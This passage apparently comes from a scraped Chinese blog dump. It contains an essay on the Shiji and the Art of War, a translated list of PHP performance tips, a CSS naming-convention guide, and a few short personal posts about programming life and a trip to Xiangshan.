结果，在面对韩信大军之时，韩信巧妙地利用了龙且的骄傲自大，率军半渡潍水，假装力怯而退。龙且不知是计，遂带领少数军队渡潍水追杀。其实，韩信前一天晚 上已经派人在潍水上游用上万沙袋堵塞潍水。龙且不知深浅，自以为韩信怯懦，潍水水浅。等龙且渡过潍水，韩信立即派人将上游的万余沙袋全部撤掉。汹涌澎湃的 潍水滔滔而下，将龙且的军队切为两半，龙且的大部队因此渡不了河。渡过河的龙且，只带有少量军队，韩信率大军急围龙且，龙且最终战败被杀。龙且之死在情理 之中。龙且只不过用自己的生命验证了兵法中最普通的一条真理：骄兵必败。（韩信乃夜令人为万余囊，满盛沙，壅水上流，引军半渡，周龙且，佯不胜，还走。龙且果喜曰：固知信怯也。遂追信，渡水。信使人决壅囊，水大至，龙且军大半不得渡，即急击杀龙且水东，军散走\u0026mdash;\u0026mdash;《史记\u0026middot;淮阴侯列传》）\n\u0026nbsp;\u0026nbsp; 但是，龙且之死却给项羽带来了致命一击：不仅彻底失去了齐地，使西楚国的国都完全暴露在汉兵的视野之下，而且使项羽二十八个月的荥阳对峙立即变得毫无意 义了。荥阳对峙的前提是西楚国的后方彭城是安全的，项羽军粮军需的保障地是安全的。齐地被韩信占领，项羽的大后方立即变得岌岌可危，再在荥阳对峙下去可能 面临被包围的险境与断粮的危险。所以，龙且的大意轻敌，不仅使自己失去了生命，也最终断送了项羽的霸业。龙且兵败被杀之日，也就是项羽大势已去之日。\n韩信打败龙且的这一战法就是未敌以弱，即《孙子\u0026middot;始计》：故能而示之不能，用而示之不用，近而示之远，远而示之近。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 韩信是一位示弱的高手，几乎每战均用此法。井陉之战，韩信也用此计，示赵以弱，伪装战败，丢弃旗鼓，引得赵兵队形大乱，争抢旗鼓，再回马一枪，打败赵兵。\n三、慎战\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 《孙子兵法\u0026middot;作战》篇对用兵之祸，有详细阐述：\u0026ldquo;凡用兵之法，驰车千驷，革车千乘，带甲十万，千里馈粮。则内外之费，宾客之用，胶漆之材，车甲之奉，日费千金，然后十万之师举矣。\u0026rdquo;可见，用十万之师费用之大。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026ldquo;善用兵者，役不再籍，粮不三载，取用于国，因粮于敌，故军食可足也。国之贫于师者远输，远输则百姓贫；近师者贵卖，贵卖则百姓财竭，财竭则急于丘役。力屈中原、内虚于家，百姓之费，十去其七；公家之费，破军罢马，甲胄矢弓，戟盾矛橹，丘牛大车，十去其六。\u0026rdquo;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 这是《孙子兵法》中非常精彩的一段论述：这段论述的核心是慎战。战争对财力的消耗太大，对百姓的伤害太大。《史记》中司马迁多次表述了这种慎战思想，其中，最主要是在有关对匈作战的记述之中。\n《韩长孺列传》中记述了韩安國在朝议中反对用兵匈奴的意见曰：\u0026ldquo;千里而战，兵不获利\u0026rdquo;。\n\u0026nbsp;\u0026nbsp; 《酷吏列传》中记载了博士狄山的悲剧。狄山反对用兵匈奴：\u0026ldquo;景帝不言兵，天下富實。今自陛下舉兵擊匈奴，中國已空虛，邉民大困貧，由此觀之，不如和親。\u0026rdquo;狄山因此而丧命。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 但是，司马迁在《史记》诸篇中不厌其烦地记载反对用兵的意见，这固然是历史的真实记载，但是，其中亦不乏慎兵之义。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 《平津侯主父列传》记载了主父偃初见武帝时的一番对话，\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 所言九事，其八事为律令，一事谏伐匈奴。其辞曰：臣闻明主不恶切谏以博观，忠臣不敢避重诛以直谏，是故事无遗策而功流万世。今臣不敢隐忠避死以效愚计，愿陛下幸赦而少察之。《司马法》曰：国虽大，好战必亡；天下虽平，忘战必危。天下既平，天子大凯，春蒐秋猕（m\u0026igrave;），诸侯春振旅，秋治兵，所以不忘战也。且夫怒者逆德也，兵者凶器也，争者末节也。古之人君，一怒必伏尸流血，故圣王重行之。夫务战胜穷武事者，未有不悔者也。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 昔秦皇帝任战胜之威，蚕食天下，并吞战国，海内為一。功齐三代，务胜不休，欲攻匈奴，李斯谏曰：不可！ 夫匈奴无城郭之居，委稷积之守，迁徙鸟举，难得而制也。轻兵深入，粮食必绝。踵粮以行，重不及事。得其地不足以为利也，遇其民不可役而守也。胜必杀之，非 民父母也。靡敝中国，快心匈奴，非长策也。秦皇帝不听，遂使蒙恬将兵攻胡，辟地千里，以河为境。地固泽鹹鹵，不生五谷。然後发天下丁男，以守北河。暴兵露师，十有余年，死者不可胜数。终不能逾河而北，是岂人众不足，兵草不备哉？其势不可也。又使天下蜚刍輓粟起於东，腄琅邪负海之郡，转轮北河。率三十锺而致一石。男子疾耕，不足於粮饟；女子纺绩，不足於帷幕。百姓靡敝，孤寡老弱，不能相养。道路死者相望，盖天下始畔秦也。\n及至高皇帝，定天下略地於边，闻匈奴聚於代谷之外，而欲击之。御史成进谏曰：不可！夫匈奴之性，兽聚而鸟散，从之如搏影。今以陛下盛德，攻匈奴，臣窃危之。高帝不听，遂北至於代谷，果有平城之围。高皇帝盖悔之甚，乃使刘敬往结和亲之约，然後天下忘干戈之事。\n\u0026nbsp;\u0026nbsp; 故《兵法》曰：兴师十万，日费千金。夫秦常积众，暴兵数十万人，虽有覆军杀将系虏单于之功，亦适足以结怨深仇，不足以偿天下之费。夫上虚府库，下敝百姓， 甘心於外国，非完事也。夫匈奴难得而制，非一世也。行盗侵驱，所以为业也。天性固然，上及虞夏殷周，固弗程督，禽兽畜之不属为人。夫上不观虞夏殷周之统， 而下修近世之失，此臣之所大忧，百姓之所疾苦也。且夫兵久则变生事苦，则虑易乃使边境之民靡敝愁苦，而有离心。将吏相疑而外市。故尉佗、章邯，得以成其私 也。夫秦政之所以不行者，权分乎二子，此得失之效也。故《周书》曰：安危在出令，存亡在所用。愿陛下详察之，少加意而熟虑焉。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 主父偃的话非直接引用《孙子兵法》，而是，引了《司马法》，\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 但是《孙子兵法\u0026middot;用间》也讲了同样的道理：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 孙子曰：凡兴师十万，出征千里，百姓之费，公家之奉，日费千金。内外骚动，怠於道路，不得操事者七十万家。相守数年，以爭一日之胜，而爱爵禄百金，不知敌之情者。不仁之至也。非人之将也，非主之佐也，非胜之主也。\n主父偃上书九条，有关对匈作战的仅有一条，但是，司马迁独独对这一条详加记述，为什么？\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 因为这一条主要是讲慎战。司马迁对此记述得如此详细，正说明司马迁对对匈作战持慎重态度。\n\u0026nbsp;\u0026nbsp; 春秋战国至西汉时期是中国兵书产生最多的时期，但是，《汉书\u0026middot;艺文志》记载的许多兵书，如《项王》、《韩信》、《范蠡》等，但是，这些兵书今已全部失传。唯独《孙子兵法》流传至今，这是历史的选择，是优胜劣汰的结果。\n四、对匈作战与创新发展\u0026mdash;\u0026mdash;\u0026ldquo;出其不意，攻其不备\u0026rdquo;的新解\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 汉武帝时期，最大的战争是对匈奴作战。但是，由于这场战争是农耕民族对草原民族的战争，因此，\u0026ldquo;长途奔袭，寻机作战\u0026rdquo;成为最适用的战争。当然，\u0026ldquo;长途奔 袭，寻机作战\u0026rdquo;也是\u0026ldquo;出其不意，攻其不备\u0026rdquo;；可是，这种\u0026ldquo;出其不意，攻其不备\u0026rdquo;与《孙子兵法》中讲的\u0026ldquo;出其不意，攻其不备\u0026rdquo;已经有了很大的区别。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 这是武帝时期对匈作战的需要，这是新的战争对《孙子兵法》的新要求。《史记》忠实记载了这种变化，适应这种新打法的卫青、霍去病等一批新的将军非常适应。李广等老一批将军却因为不适应这种新的战争方法而被淘汰出局。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 可见，现实在变化，战争也在变化，兵法也要适应这种变化而变化。经典的价值是永久性，但是，经典也需要创新，也需要发展。\n","permalink":"https://hessian.cn/p/439.html","summary":"\u0026nbsp;\u0026nbsp;\u0026nbsp; 《史记》与《孙子兵法》的关系非常密切，《孙子\u0026middot;吴起列传》是《史记》的重要一篇，太史公是为中国古代最伟大的军事家孙子立传的第一人，孙武的生平也是通过《史记》第一次被载入史册。\n","title":"史记与孙子兵法"},{"content":"原文地址：http://www.phpchina.com/bbs/thread-13409-1-1.html\n这篇杂文翻译整理自网络各路文档资料(见最末的参考资料)，尤其是 Ilia Alshanetsky (佩服之至) 在多个 PHP 会议上的演讲，主要是各类提高 PHP 性能的技巧。为求精准，很多部分都有详细的效率数据，以及对应的版本等等。偷懒，数据就不一一给出了，直接给结论，如果需要看原文档，请到文末「参考资料」部分。橙色标题为推荐部分。\n========================================================\n静态调用的成员一定要定义成 static\u0026nbsp;\u0026nbsp; (PHP5 ONLY)\n贴士：PHP 5 引入了静态成员的概念，作用和 PHP 4 的函数内部静态变量一致，但前者是作为类的成员来使用。静态变量和 Ruby 的类变量(class variable)差不多，所有类的实例共享同一个静态变量。\nQUOTE:\n// PHP CODE Highliting for CU by dZ902\n\u0026lt;?php\nclass foo {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; function bar() {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026#8216;foobar\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n$foo = new foo;\n// instance way\n$foo-\u0026gt;bar();\n// static way\nfoo::bar();\n?\u0026gt;\n静态地调用非 static 成员，效率会比静态地调用 static 成员慢 50-60%。主要是因为前者会产生 E_STRICT 警告，内部也需要做转换。\n使用类常量 (PHP5 ONLY)\n贴士：PHP 5 新功能，类似于 C++ 的 const。\n使用类常量的好处是：\n\u0026#8211; 编译时解析，没有额外开销\n\u0026#8211; 杂凑表更小，所以内部查找更快\n\u0026#8211; 类常量仅存在于特定「命名空间」，所以杂凑名更短\n\u0026#8211; 代码更干净，使除错更方便\n(暂时)不要使用 require/include_once require/include_once 每次被调用的时候都会打开目标文件！\n\u0026#8211; 如果用绝对路径的话，PHP 5.2/6.0 不存在这个问题\n\u0026#8211; 新版的 APC 缓存系统已经解决这个问题\n文件 I/O 增加 =\u0026gt; 效率降低\n如果需要，可以自行检查文件是否已被 require/include。\n不要调用毫无意义的函数\n有对应的常量的时候，不要使用函数。\nQUOTE:\n// PHP CODE Highliting for CU by dZ902\n\u0026lt;?php\nphp_uname(\u0026#8216;s\u0026#8217;) == PHP_OS;\nphp_version() == PHP_VERSION;\nphp_sapi_name() == PHP_SAPI;\n?\u0026gt;\n虽然使用不多，但是效率提升大概在 3500% 左右。\n最快的 Win32 检查\nQUOTE:\n// PHP CODE Highliting for CU by dZ902\n\u0026lt;?php\n$is_win = DIRECTORY_SEPARATOR == \u0026#8216;\\\u0026#8217;;\n?\u0026gt;\n\u0026#8211; 不用函数\n\u0026#8211; Win98/NT/2000/XP/Vista/Longhorn/Shorthorn/Whistler\u0026#8230;通用\n\u0026#8211; 一直可用\n时间问题 (PHP\u0026gt;5.1.0 ONLY)\n你如何在你的软件中得知现在的时间？简单，「time() time() again, you ask me\u0026#8230;」。\n不过总归会调用函数，慢。\n现在好了，用 $_SERVER[\u0026#8216;REQUEST_TIME\u0026#8217;]，不用调用函数，又省了。\n加速 PCRE\n\u0026#8211; 对于不用保存的结果，不用 ()，一律用 (?\n这样 PHP 不用为符合的内容分配内存，省。效率提升 15% 左右。\n\u0026#8211; 能不用正则，就不用正则，在分析的时候仔细阅读手册「字符串函数」部分。有没有你漏掉的好用的函数？\n例如：\nstrpbrk()\nstrncasecmp()\nstrpos()/strrpos()/stripos()/strripos()\n加速 strtr\n如果需要转换的全是单个字符的时候，用字符串而不是数组来做 strtr：\nQUOTE:\n// PHP CODE Highliting for CU by dZ902\n\u0026lt;?php\n$addr = strtr($addr, \u0026quot;abcd\u0026quot;, \u0026quot;efgh\u0026quot;); // good\n$addr = strtr($addr, array(\u0026#8216;a\u0026#8217; =\u0026gt; \u0026#8216;e\u0026#8217;,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;// \u0026#8230;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;)); // bad\n?\u0026gt;\n效率提升：10 倍。\n不要做无谓的替换\n即使没有替换，str_replace 也会为其参数分配内存。很慢！解决办法：\n\u0026#8211; 用 strpos 先查找(非常快)，看是否需要替换，如果需要，再替换\n效率：\n\u0026#8211; 如果需要替换：效率几乎相等，差别在 0.1% 左右。\n\u0026#8211; 如果不需要替换：用 strpos 快 200%。\n邪恶的 @ 操作符\n不要滥用 @ 操作符。虽然 @ 看上去很简单，但是实际上后台有很多操作。用 @ 比起不用 @，效率差距：3 倍。\n特别不要在循环中使用 @，在 5 次循环的测试中，即使是先用 error_reporting(0) 关掉错误，在循环完成后再打开，都比用 @ 快。\n善用 strncmp\n当需要对比「前 n 个字符」是否一样的时候，用 strncmp/strncasecmp，而不是 substr/strtolower，更不是 PCRE，更千万别提 ereg。strncmp/strncasecmp 效率最高(虽然高得不多)。\n慎用 substr_compare (PHP5 ONLY)\n按照上面的道理，substr_compare 应该比先 substr 再比较快咯。答案是否定的，除非：\n\u0026#8211; 无视大小写的比较\n\u0026#8211; 比较较大的字符串 不要用常量代替字符串\n为什么：\n\u0026#8211; 需要查询杂凑表两次\n\u0026#8211; 需要把常量名转换为小写(进行第二次查询的时候)\n\u0026#8211; 生成 E_NOTICE 警告\n\u0026#8211; 会建立临时字符串\n效率差别：700%。\n不要把 count/strlen/sizeof 放到 for 循环的条件语句中\n贴士：我的个人做法\nQUOTE:\n// PHP CODE Highliting for CU by dZ902\n\u0026lt;?php\nfor ($i = 0, $max = count($array);$i \u0026lt; $max; ++$i);\n?\u0026gt;\n效率提升相对于：\n\u0026#8211; count 50%\n\u0026#8211; strlen 75%\n短的代码不一定快\nQUOTE:\n// PHP CODE Highliting for CU by dZ902\n\u0026lt;?php\n// longest\nif ($a == $b) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;$str .= $a;\n} else {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;$str .= $b;\n}\n// longer\nif ($a == $b) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;$str .= $a;\n}\n$str .= $b;\n// short\n$str .= ($a == $b ? $a : $b);\n?\u0026gt;\n你觉得哪个快？\n效率比较：\n\u0026#8211; longest: 4.27\n\u0026#8211; longer: 4.43\n\u0026#8211; short: 4.76\n不可思议？再来一个：\nQUOTE:\n// PHP CODE Highliting for CU by dZ902\n\u0026lt;?php\n// original\n$d = dir(\u0026#8216;.\u0026#8217;);\nwhile (($entry = $d-\u0026gt;read()) !== false) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if ($entry == \u0026#8216;.\u0026#8217; || $entry == \u0026#8216;..\u0026#8217;) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; continue;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n// versus\nglob(\u0026#8216;./*\u0026#8217;);\n// versus (include . and ..)\nscandir(\u0026#8216;.\u0026#8217;);\n?\u0026gt;\n哪个快？\n效率比较：\n\u0026#8211; original: 3.37\n\u0026#8211; glob: 6.28\n\u0026#8211; scandir: 3.42\n\u0026#8211; original without OO: 3.14\n\u0026#8211; SPL (PHP5): 3.95\n画外音：从此也可以看出来 PHP5 的面向对象效率提高了很多，效率已经和纯函数差得不太多了。\n提高 PHP 文件访问效率\n需要包含其他 PHP 文件的时候，使用完整路径，或者容易转换的相对路径。\nQUOTE:\n// PHP CODE Highliting for CU by dZ902\n\u0026lt;?php\ninclude \u0026#8216;file.php\u0026#8217;; // bad approach\nincldue \u0026#8216;./file.php\u0026#8217;; // good\ninclude \u0026#8216;/path/to/file.php\u0026#8217;; // ideal\n?\u0026gt;\n物尽其用\nPHP 有很多扩展和函数可用，在实现一个功能的之前，应该看看 PHP 是否有了这个功能？是否有更简单的实现？\nQUOTE:\n// PHP CODE Highliting for CU by dZ902\n\u0026lt;?php\n$filename = \u0026quot;./somepic.gif\u0026quot;;\n$handle = fopen($filename, \u0026quot;rb\u0026quot;);\n$contents = fread($handle, filesize($filename));\nfclose($handle);\n// vs. much simpler\nfile_get_contents(\u0026#8216;./somepic.gif\u0026#8217;);\n?\u0026gt;\n关于引用的技巧\n引用可以：\n\u0026#8211; 简化对复杂结构数据的访问\n\u0026#8211; 优化内存使用\nQUOTE:\n// PHP CODE Highliting for CU by dZ902\n\u0026lt;?php\n$a[\u0026#8216;b\u0026#8217;][\u0026#8216;c\u0026#8217;] = array();\n// slow 2 extra hash lookups per access\nfor ($i = 0; $i \u0026lt; 5; ++$i)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;$a[\u0026#8216;b\u0026#8217;][\u0026#8216;c\u0026#8217;][$i] = $i;\n// much faster reference based approach\n$ref =\u0026amp; $a[\u0026#8216;b\u0026#8217;][\u0026#8216;c\u0026#8217;];\nfor ($i = 0; $i \u0026lt; 5; ++$i)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;$ref[$i] = $i;\n?\u0026gt;\nQUOTE:\n// PHP CODE Highliting for CU by dZ902\n\u0026lt;?php\n$a = \u0026#8216;large string\u0026#8217;;\n// memory intensive approach\nfunction a($str)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return $str.\u0026#8216;something\u0026#8217;;\n}\n// more efficient solution\nfunction a(\u0026amp;$str)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;$str .= \u0026#8216;something\u0026#8217;;\n}\n?\u0026gt;\n==============================================\n参考资料\nhttp://ilia.ws\nIlia 的个人网站，Blog，他参与的开发以及出版的一些稿物链接等等。\nhttp://ez.no\neZ components 官方网站，eZ comp 是针对 PHP5 的开源通用库，以效率为己任，Ilia 也参与了开发。\nhttp://phparch.com\nphp|architect，不错的 php 出版商/培训组织。买不起或者买不到的话，网上可以下到很多经典的盗版。\nhttp://talks.php.net\nPHP 会议上的演讲合集，现在还不是很丰富，不过内容都是让人一看就容易废寝忘食的好东东，推荐早上睡眼朦胧的时候或者吃完午饭仔细研究，否则你会忘记吃饭和睡觉的！\n","permalink":"https://hessian.cn/p/487.html","summary":"原文地址：http://www.phpchina.com/bbs/thread-13409-1-1.html\n这篇杂文翻译整理自网络各路文档资料(见最末的参考资料)，尤其是 Ilia Alshanetsky (佩服之至) 在多个 PHP 会议上的演讲，主要是各类提高 PHP 性能的技巧。为求精准，很多部分都有详细的效率数据，以及对应的版本等等。偷懒，数据就不一一给出了，直接给结论，如果需要看原文档，请到文末「参考资料」部分。橙色标题为推荐部分。\n","title":"[转] 榨干 PHP，提高效率"},{"content":"转自:http://jakewljoxygen.spaces.live.com/blog/cns!9b827d074e559d7f!438.entry\n常用的CSS命名规则： 头：header\n内容：content/container\n尾：footer\n导航：nav\n侧栏：sidebar\n栏目：column\n页面外围控制整体布局宽度：wrapper\n左右中：left right center\n登录条：loginbar\n标志：logo\n广告：banner\n页面主体：main\n热点：hot\n新闻：news\n下载：download\n子导航：subnav\n菜单：menu\n子菜单：submenu\n搜索：search\n友情链接：friendlink\n页脚：footer\n版权：copyright\n滚动：scroll\n内容：content\n标签页：tab\n文章列表：list\n提示信息：msg\n小技巧：tips\n栏目标题：title\n加入：joinus\n指南：guild\n服务：service\n注册：regsiter\n状态：status\n投票：vote\n合作伙伴：partner\n(二)注释的写法:\n/* Footer */\n内容区 /* End Footer */\n(三)id的命名:\n(1)页面结构\n容器: container\n页头：header\n内容：content/container\n页面主体：main\n页尾：footer\n导航：nav\n侧栏：sidebar\n栏目：column\n页面外围控制整体布局宽度：wrapper\n左右中：left right center\n(2)导航\n导航：nav\n主导航：mainbav\n子导航：subnav\n顶导航：topnav\n边导航：sidebar\n左导航：leftsidebar\n右导航：rightsidebar\n菜单：menu\n子菜单：submenu\n标题: title\n摘要: summary (3)功能\n标志：logo\n广告：banner\n登陆：login\n登录条：loginbar\n注册：regsiter\n搜索：search\n功能区：shop\n标题：title\n加入：joinus\n状态：status\n按钮：btn\n滚动：scroll\n标签页：tab\n文章列表：list\n提示信息：msg\n当前的: current\n小技巧：tips\n图标: icon\n注释：note\n指南：guild\n服务：service\n热点：hot\n新闻：news\n下载：download\n投票：vote\n合作伙伴：partner\n友情链接：link\n版权：copyright\n(四)class的命名:\n(1)颜色:使用颜色的名称或者16进制代码,如\n.red { color: red; }\n.f60 { color: #f60; }\n.ff8600 { color: #ff8600; }\n(2)字体大小,直接使用\u0026quot;font+字体大小\u0026quot;作为名称,如\n.font12px { font-size: 12px; }\n.font9pt {font-size: 9pt; }\n(3)对齐样式,使用对齐目标的英文名称,如\n.left { float:left; }\n.bottom { float:bottom; }\n(4)标题栏样式,使用\u0026quot;类别+功能\u0026quot;的方式命名,如\n.barnews { }\n.barproduct { }\n注意事项::\n1.一律小写； 2.尽量用英文； 3.不加中杠和下划线；\n4.尽量不缩写，除非一看就明白的单词.\n主要的 master.css\n模块 module.css\n基本共用 base.css\n布局，版面 layout.css\n主题 themes.css\n专栏 columns.css\n文字 font.css\n表单 forms.css\n补丁 mend.css\n打印 print.css\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\nGik 注:\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n今天无意中看到的, 想起大堆页面共用一个css文件时那错综复杂的名字\u0026#8230;..\n觉得,一套易于理解切相对通用的命名规则还是很有用的\n这一套感觉比较全一些 就收过来了\n下面是另一套 也不错\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n转自:http://www.j2box.com/blog/post/17.html\nCSS 命名规范 CSS 命名规范 XHTML-CSS写作建议 所有的xhtml代码小写 属性的值一定要用双引号(\u0026quot;\u0026quot;)括起来，且一定要有值 每个标签都要有开始和结束，且要有正确的层次 空元素要有结束的tag或于开始的tag后加上\u0026quot;/\u0026quot; 表现与结构完全分离，代码中不涉及任何的表现元素，如style、font、bgColor、border等 \u0026lt;h1\u0026gt;到\u0026lt;h5\u0026gt;的定义，应遵循从大到小的原则，体现文档的结构，并有利于搜索引擎的查询。 给每一个表格和表单加上一个唯一的、结构标记id 给重要的区块加上注释,如： 给图片加上alt标签 所有的标签必须进行合理的嵌套 根元素前必须有元素，宣告使用那一种DTD 根元素必须有xmlns属性来指定使用http://www.w3.org/1999/xhtml的namespace CSS样式表规范： id和class命名采用该版块的英文单词或组合命名，并第一个单词小写，第二个单词首个字母大写，如:newRelease（最新产品/new+Release) CSS样式表各区块用注释说明 尽量使用英文命名原则 不用加中杠和下划线 尽量不缩写，除非一看就明白的单词 CSS命名规范 这段时间由于工作的需要对CSS的命名做了一些研究，主要是想让作出的文档等规范，更能让人看懂和读懂。\nDIV CSS名称 说明 网站公用相关 Container div #container 容器 Header or banner div #header 页头部分 Main or global navigation div #mainNav 主导航 Menu #menu 菜单 Sub Menu #submenu 子菜单 Left or right side columns #sidebarA, #sidebarB 左边栏或右边栏 Main div #main 页面主体 Content div #content 内容部分 The main content area #contentMain 主要内容区域 Footer div #footer 页脚部分 Tag #tag 标签 Message #msg #message 提示信息 Tips #tips 小技巧 Vote #vote 投票 Friend Link #friendlink 友情连接 Title #title 标题 Summary #summary 摘要 Sub-navigation list #subNav 二级导航 Search input #searchInput 搜索输入框 Search output #searchOutput 搜索输出和搜索结果相似 Search #search 搜索 Search results #searchResults 搜索结果 Copyright information #copyright 版权信息 brand #branding 商标 branding-logo #brandingLogo LOGO Site information #siteinfo 网站信息 Copyright information etc. #siteinfoLegal 法律声明 Designer or other credits #siteinfoCredits 信誉 Join us #joinus 加入我们 Partnership opportunities #partner 合作伙伴 Services #service 服务 Regsiter #regsiter 注册 Status #status 状态 电子贸易相关 Products .products 产品 Products prices .productsPrices 产品价格 Products description .productsDescription 产品描述 Products review .productsReview 产品评论 Editor\u0026#8217;s review .editorReview 编辑评论 New release .newsRelease 最新产品 Publisher .publisher 生产商 Screen shot .screenshot 缩略图 FAQ .faqs 常见问题 Keyword .keyword 关键词 Blog .blog 博客 Forum .forum 论坛 ","permalink":"https://hessian.cn/p/496.html","summary":"转自:http://jakewljoxygen.spaces.live.com/blog/cns!9b827d074e559d7f!438.entry\n","title":"关于css class与id的命名 比较通用的名字"},{"content":"\u0026quot;还早\u0026#8230;再写会\u0026#8230;..\u0026quot;\n最近不知道是思维迟钝了还是智力低下了\u0026#8230;\u0026#8230;\u0026#8230;.还是怎么的\u0026#8230;\u0026#8230;\n每天都有这句话,每天都那么晚睡\u0026#8230;.每天都有写不完的程序\n每天都是面对那台机器\u0026#8230;.\n我在我的世界走失了\u0026#8230;.\n从前 在电脑旁, 混迹与internet的我似乎从来不会孤独\n但我现在越来越感觉到孤独 寂寞 特别是每当夜深人静一个人静静听着自己打字的嗒嗒的声音\u0026#8230;..\n每当这时候我总会感觉我好像离这个世界很远, 或者自己根本不属于这个世界\u0026#8230;\u0026#8230;\u0026#8230;\n额\u0026#8230;牢骚发完了\u0026#8230;.程序还得继续写\u0026#8230;\u0026#8230;\u0026#8230;.\n项目进度还得赶啊\u0026#8230;郁闷\n","permalink":"https://hessian.cn/p/478.html","summary":"\u0026quot;还早\u0026#8230;再写会\u0026#8230;..\u0026quot;\n最近不知道是思维迟钝了还是智力低下了\u0026#8230;\u0026#8230;\u0026#8230;.还是怎么的\u0026#8230;\u0026#8230;\n","title":"还早…再写会….."},{"content":"“搞技术”成了“木讷”的代名词。程序员，似乎更擅长和机器沟通，与人沟通的能力往往欠佳，于是，程序员的感情成为沙漠，辛酸也只能埋在心底。\n其实，程序员并不是木讷，而是单纯，并不是无情，而是痴情。真正深厚的情感，是只可意会而不可言传的。如果说感情是水，那么程序员的感情，就如一潭深水，平静而深沉。 ","permalink":"https://hessian.cn/p/636.html","summary":"“搞技术”成了“木讷”的代名词。程序员，似乎更擅长和机器沟通，与人沟通的能力往往欠佳，于是，程序员的感情成为沙漠，辛酸也只能埋在心底。\n其实，程序员并不是木讷，而是单纯，并不是无情，而是痴情。真正深厚的情感，是只可意会而不可言传的。如果说感情是水，那么程序员的感情，就如一潭深水，平静而深沉。 ","title":"搞技术？"},{"content":"周日去了躺香山\n跟同事一起去的 嘎嘎 公费旅游 呵呵\u0026#8230;\u0026#8230;\n晃荡了一天\u0026#8230;除了累没感到什么特别的\u0026#8230;.枫叶都还没红\u0026#8230;\n到是去当锻炼身体了, 一口气直接跑到香炉峰\u0026#8230;..\n美女好少啊\u0026#8230;\u0026#8230;..北京难道就真的没有美女哦\u0026#8230;\u0026#8230;\n","permalink":"https://hessian.cn/p/610.html","summary":"周日去了躺香山\n跟同事一起去的 嘎嘎 公费旅游 